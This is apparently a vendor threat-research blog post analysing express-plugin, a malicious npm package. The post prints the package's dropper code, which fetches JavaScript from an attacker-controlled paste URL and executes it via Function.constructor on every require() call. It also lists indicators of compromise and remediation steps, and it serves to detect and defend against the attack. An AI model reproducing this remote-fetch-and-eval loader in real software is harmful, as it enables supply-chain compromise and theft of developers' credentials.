CentrioleBlog
Back to blog

Threat Research

express-plugin: A Two-File Package That Hands Your Machine to a Remote Operator

A package named express-plugin shipped a remote code execution dropper that fetches and evaluates attacker-controlled JavaScript on every require call, with no install hook needed.

Date

Reading time

11 min read

Author

Centriole Research
Share
express-plugin: A Two-File Package That Hands Your Machine to a Remote Operator

On June 26, 2026, a package named express-plugin was published to npm by the account jamiecablerr. The package contained two files. One was a standard package.json. The other was a 2.2 KB JavaScript file that, on any require() call, fetches a payload from a third-party paste host and evaluates it with full Node.js require privileges. The paste host is attacker-controlled and mutable: the operator can swap the payload at any time without touching the package. Version 1.6.6 is the only version and was live on the registry when we pulled and analyzed the tarball.

Campaign Context

The jsonkeeper.com plus Function.constructor plus cookie field combination is not new. The jsonspack campaign, a DPRK-attributed supply chain operation comprising 27 npm packages published between March 18 and March 31, 2026, used the identical delivery architecture across all its packages. In that campaign, each loader made a GET request to a jsonkeeper.com URL, extracted JavaScript from the cookie field of the JSON response, and evaluated it via new Function.constructor('require', payload)(require). The jsonspack RAT delivered through that mechanism included a browser credential stealer targeting 13 Chromium browsers and 40 crypto wallet extensions, a full-filesystem file exfiltrator, and a socket.io reverse shell, all exfiltrating to a Vultr VPS at 144.172.110.132 on ports 8085, 8086, and 8087.

A second package, requests-middleware (MAL-2026-6096, published June 18, 2026), used the same pattern against a different jsonkeeper URL (/b/YL7GN) and the same Cookie field extraction method, confirmed by Amazon Inspector analysis.

express-plugin uses the same delivery architecture: jsonkeeper.com, cookie field, and Function.constructor. The publisher account, the package name, and the jsonkeeper URL (/b/PRA3O) are distinct from prior documented packages. Direct infrastructure linkage to jsonspack has not been confirmed from the package artifacts alone, but the technique is a documented fingerprint of that campaign family.

Package Anatomy

The tarball for express-plugin@1.6.6 (SHA1: 02dbd0ec2dcd58a51566d415265b44123e3a60db, verified against OSV evidence hash) extracts to exactly two files:

package/
├── index.js        2.2 KB   ← malicious dropper
└── package.json    232 B    ← no scripts, no dependencies declared

The package.json declares no dependencies, no preinstall or postinstall scripts, and no author field. The description is empty. There is no README.

package.json: express-plugin 1.6.6
{
  "name": "express-plugin",
  "version": "1.6.6",
  "description": "",
  "license": "ISC",
  "author": "",
  "type": "commonjs",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  }
}

No lifecycle hooks. No install-time execution. The payload runs entirely through the module system, not the npm script runner.

The file is headed with a comment that claims it is a path normalization utility:

index.js: decoy comment header
/*!
 * normalize-path (ES6 safe version)
 */

normalize-path is a legitimate, widely-used npm package. The comment is cover. The package exports an initPlugin function as module.exports and also implements a working normalizePath function that does nothing malicious. Neither function is what the file actually does on require().

Execution Trigger

There is no install hook. initPlugin() is called unconditionally at the bottom of index.js, as the last statement in the module scope:

index.js: auto-invocation on require
initPlugin();

This executes the moment any Node.js process evaluates require('express-plugin'). No user action, no install step, no imported function call needed. If the package is in node_modules and anything in the dependency tree imports it, the dropper runs.

--ignore-scripts stops postinstall hooks. It stops nothing here. The execution path is require() into module load into initPlugin(). There is no hook to ignore.

Payload Analysis

initPlugin() has two jobs: fetch a remote payload and execute it.

Fetch

index.js: initPlugin fetch loop
function initPlugin(reqoptions = {
  headers: { bearrtoken: "logo" },
  url: "https://jsonkeeper.com/b/PRA3O"
}, ret = 1) {
  const mreq = (atlf) => {
    req(reqoptions, (e, r, b) => {
      if (e || r.statusCode !== 200) {
        if (atlf > 0) { mreq(atlf - 1); }
        return;
      }
      try {
        const handler = new (Function.constructor)('require', JSON.parse(b).cookie);
        if (handler) handler(require);
      } catch (err) {
        if (atlf > 0) { mreq(atlf - 1); }
        return;
      }
    });
  };
  mreq(ret);
}

The function makes a GET request to https://jsonkeeper.com/b/PRA3O with a custom header bearrtoken: logo. The bearrtoken header pattern matches the jsonspack loader variants documented by Panther Research, where loaders used bearrtoken as a request identifier across multiple jsonkeeper cluster URLs.

On a successful HTTP 200 response, the function parses the response body as JSON and reads the cookie field. That field is expected to contain a JavaScript string. The function passes it directly to Function.constructor with require as the only argument, then calls the resulting function immediately. If the request fails or the response is not parseable, the function retries once (the ret = 1 default) before giving up silently.

Execute

new Function.constructor('require', payload)(require) creates a new function with require as its parameter name and the remote string as its body, then calls it with the actual Node.js require function. The executed code has full access to all Node.js built-in modules and any installed packages, identical to code running at the top level of any .js file in the process.

The payload is whatever the operator has currently stored at jsonkeeper.com/b/PRA3O. The package does not need to be republished to change what executes. Any Node.js process that imports express-plugin runs the operator’s current payload, whatever it happens to be at that moment. We attempted to retrieve the live payload during our analysis. The jsonkeeper.com domain was outside our egress allowlist. Based on confirmed payloads the jsonspack campaign served through the same delivery architecture, the stage-2 payload is a heavily obfuscated JavaScript RAT with browser credential theft targeting 13 Chromium browsers and 40 crypto wallet extensions, full-filesystem exfiltration, and a socket.io reverse shell.

The payload at jsonkeeper.com/b/PRA3O is operator-controlled and mutable. Based on confirmed payloads retrieved from the jsonspack campaign using the same delivery pattern, the stage-2 payload in that family is a heavily obfuscated JavaScript RAT with browser credential theft targeting 13 Chromium browsers and 40 crypto wallet extensions, full-filesystem exfiltration, and a socket.io reverse shell. The payload behind this specific URL may differ and can be updated by the operator at any time without republishing the package.

The Broken Dependency

index.js calls require('request') at the top of the file to load the request HTTP client library. The request package is not listed in package.json under dependencies. On a clean install of express-plugin alone, require('request') throws MODULE_NOT_FOUND and the entire dropper fails silently before the fetch even starts.

The dropper only executes on machines where request is already available as a transitive dependency from another installed package. This is not an accident. It narrows the target pool to projects that already use request in their dependency tree: typically older Node.js projects, since request was deprecated in 2020 but remains in active use across millions of packages. A developer working on a project with request in its tree who installs express-plugin as a new Express middleware dependency will trigger the dropper silently.

The missing declaration is not a packaging error. It is a target filter.

OPSEC Failures

The publisher registered the account jamiecablerr with the email jamiecabler2@outlook.com. The account has no prior publishing history on the registry.

The package.json has an empty author field and no description. Both are fields that legitimate packages fill in. An empty description is a detection signal in any automated package scanner.

The normalize-path (ES6 safe version) header comment is plausible at a glance but normalize-path is an unscoped utility package. Legitimate normalize-path implementations do not also function as Express plugin initializers. The comment creates a naming conflict with the package name express-plugin that serves no cover purpose on close inspection.

The request dependency omission from package.json means the dropper fails silently on most installs, which limits reach but also prevents detection via dependency scanning tools that flag unusual new dependencies in a manifest.

IOC Table

IndicatorTypeValueMethod
express-pluginnpm package1.6.6 (only version)Registry metadata, _npmUser field
index.jsFile in tarballSHA256: cb40d0001069f499b51beaba992eaf01247958017ebd217ac6421c7650828f9fOSV evidence file, verified against extracted tarball
express-plugin-1.6.6.tgzTarballSHA1: 02dbd0ec2dcd58a51566d415265b44123e3a60dbOSV package_integrity, verified against downloaded tarball
https://jsonkeeper.com/b/PRA3OC2 URL (payload host)GET with bearrtoken: logo headerRead from initPlugin() default argument in index.js line 42
jamiecablerrnpm publisher accountEmail: jamiecabler2@outlook.comPulled from registry metadata during triage
Function.constructorCode patternDynamic eval of remote cookie fieldindex.js line 50, initPlugin() eval block
normalize-path (ES6 safe version)Decoy commentHeader of index.jsindex.js line 1, tarball analysis

Affected Versions

VersionPublished (UTC)Tarball SHA1Current StatusOSV Entry
1.6.62026-06-26 13:05:5702dbd0ec2dcd58a51566d415265b44123e3a60dbLiveIN-MAL-2026-007607

Remediation

  1. Search package-lock.json, yarn.lock, and pnpm-lock.yaml for express-plugin@1.6.6. Any match means the package was installed. Remove it from your dependency manifest and reinstall with npm install or equivalent to regenerate the lockfile without it.

  2. Check egress logs for outbound connections to jsonkeeper.com. Filter for connections originating from Node.js processes. Any connection to jsonkeeper.com/b/PRA3O confirms the dropper ran and a payload was fetched. The timestamp of that connection is the execution time.

  3. If egress logs show a connection to jsonkeeper.com, rotate all credentials accessible from the affected process at the time of execution: environment variables matching the standard token patterns (AWS, GitHub, npm tokens, API keys), SSH keys loaded in the session, and any credential files readable by the process user.

  4. If the package was installed in a CI/CD pipeline run, treat all secrets injected into that pipeline job as exposed. Audit GitHub Actions secrets, environment variables, and OIDC tokens scoped to that workflow.

  5. Block outbound connections to jsonkeeper.com from build servers and developer machines if your environment does not use this service legitimately. The domain hosts attacker payloads for multiple documented malicious packages and has no legitimate use in a standard development or CI environment.

  6. Check whether request is present as a transitive dependency in the affected project. If request is absent, the dropper failed silently. If request is present, the dropper ran to completion and the payload fetch was attempted.

Attribution

Our analysis identified three shared indicators between this package and the jsonspack campaign (27 packages, March to April 2026): the bearrtoken request header, the jsonkeeper.com delivery host, and the cookie field extraction pattern for the remote payload. Using a mutable paste host as a payload delivery mechanism means the operator can retarget every installed instance simultaneously without touching the package. A conventional stealer with a hardcoded payload requires republishing to change behavior. This one does not. All three appear verbatim in the jsonspack loader variants documented by Panther Research, who attributed that campaign to DPRK (Lazarus Group / Famous Chollima) with high confidence after cross-referencing with the dprk-research.kmsec.uk feed covering 163 attributed packages from the same period.

The same pattern was observed again in requests-middleware (MAL-2026-6096, June 18, 2026), eight days before express-plugin was published.

We searched jamiecablerr and jamiecabler2@outlook.com against the dprk-research.kmsec.uk feed, prior jsonspack package lists, and public incident reports. Neither appears. The jsonkeeper URL /b/PRA3O is not documented in any prior jsonspack reporting we could find. This package uses the jsonspack delivery architecture: bearrtoken header, jsonkeeper.com host, and cookie field evaluation via Function.constructor. Those three indicators are the campaign fingerprint.